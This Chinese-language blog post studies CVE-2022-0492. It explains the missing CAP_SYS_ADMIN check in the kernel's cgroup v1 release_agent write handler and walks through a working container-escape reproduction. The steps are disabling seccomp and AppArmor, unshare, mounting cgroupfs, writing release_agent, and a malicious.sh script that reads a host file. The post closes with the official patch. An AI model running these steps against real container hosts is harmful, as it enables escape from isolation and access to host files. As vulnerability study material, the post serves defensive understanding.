CVE-2022-0492学习

漏洞分析

CVE-2022-0492是一个cgroup漏洞,利用这个漏洞可以修改release_agent文件并执行任意程序。

release_agent是cgroup v1的一个特性,当notify_on_release文件的内容设为1时,这个功能才会启用。当进程终止时,系统内核会运行release_agent文件内容中指向的程序路径,也就是说只要用户能够修改这个文件,就能够让内核以更高权限运行任意程序,因此这个文件只能够被root用户修改。然而,在写入该文件的过程中,内核并没有检查写入的进程是否具有CAP_SYS_ADMIN权限,因此在容器中,任意以root用户运行的进程都可以修改这个文件[1.1]:

static ssize_t cgroup_release_agent_write(struct kernfs_open_file *of,
                      char *buf, size_t nbytes, loff_t off)
{
    struct cgroup *cgrp;

    BUILD_BUG_ON(sizeof(cgrp->root->release_agent_path) < PATH_MAX); cgrp = cgroup_kn_lock_live(of->kn, false);
    if (!cgrp)
        return -ENODEV;
    spin_lock(&release_agent_path_lock);
    strlcpy(cgrp->root->release_agent_path, strstrip(buf),
        sizeof(cgrp->root->release_agent_path));
    spin_unlock(&release_agent_path_lock);
    cgroup_kn_unlock(of->kn);
    return nbytes;
}

要利用这个漏洞,需要满足以下几个条件:
1. 容器支持cgroup v1,而v2则不受该漏洞影响;
2. 默认情况下,在容器中cgroup文件系统是只读的,因此需要挂载一个可写的cgroupfs;
3. 要在容器中执行挂载操作,需要关闭AppArmor或SELinux;
4. 进程还需要拥有CAP_SYS_ADMIN这一capability才能挂载cgroupfs,要在容器中获取CAP_SYS_ADMIN需要调用unshare命令,这一操作需要关闭SecComp;
5. 容器需要通过root用户运行。

漏洞复现

系统:Ubuntu 20.04
内核:5.4.0-90
containerd:1.5.10-1(最新版1.6似乎不能挂载root cgroup)

首先创建一个容器,并且需要关闭SecComp和AppArmor:

docker run -it --name ubuntu0492 --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash

进入容器之后,用创建一个新的namespace并挂载可写的cgroupfs,然后开启release_agent:

unshare -UrmC bash
mkdir /mnt/cgroup
mount -t cgroup -o rdma cgroup /mnt/cgroup
mkdir /mnt/cgroup/x
echo 1 > /mnt/cgroup/x/notify_on_release

输入mount命令,找到upperdir,然后在根目录下创建一个result空文件和一个malicious.sh脚本,后者的内容为:

#!/bin/sh
cat /file123 >> /var/lib/docker/overlay2/e0e969f051de8ae72b030deaae13512ce85e6a3ffe035f366661fd6ab1f71b29/diff/result

其中,file123为宿主系统的根目录下的一个文件,内容为“host file”。

修改release_agent文件:

/var/lib/docker/overlay2/e0e969f051de8ae72b030deaae13512ce85e6a3ffe035f366661fd6ab1f71b29/diff/malicious.sh

创建一个马上终止的进程:

sh -c "echo \$\$ > /mnt/cgroup/x/cgroup.procs"

再次读取result文件,就可以看到宿主的file123文件中的内容:

官方修复

在官方的修复方案中,在写入release_agent文件之前,会先检查namespace是否是init_user_ns,以及进程是否拥有CAP_SYS_ADMIN[3.1]。

if ((of->file->f_cred->user_ns != &init_user_ns) || !capable(CAP_SYS_ADMIN))
    return -EPERM;

参考

[1.1] https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/kernel/cgroup/cgroup-v1.c?id=c80d401c52a2d1baf2a5afeb06f0ffe678e56d23#n545
[2.1] https://sysdig.com/blog/detecting-mitigating-cve-2022-0492-sysdig/
[2.2] https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/
[3.1] https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=24f6008564183aa120d07c03d9289519c2fe02af

发表评论

您的邮箱地址不会被公开。 必填项已用 * 标注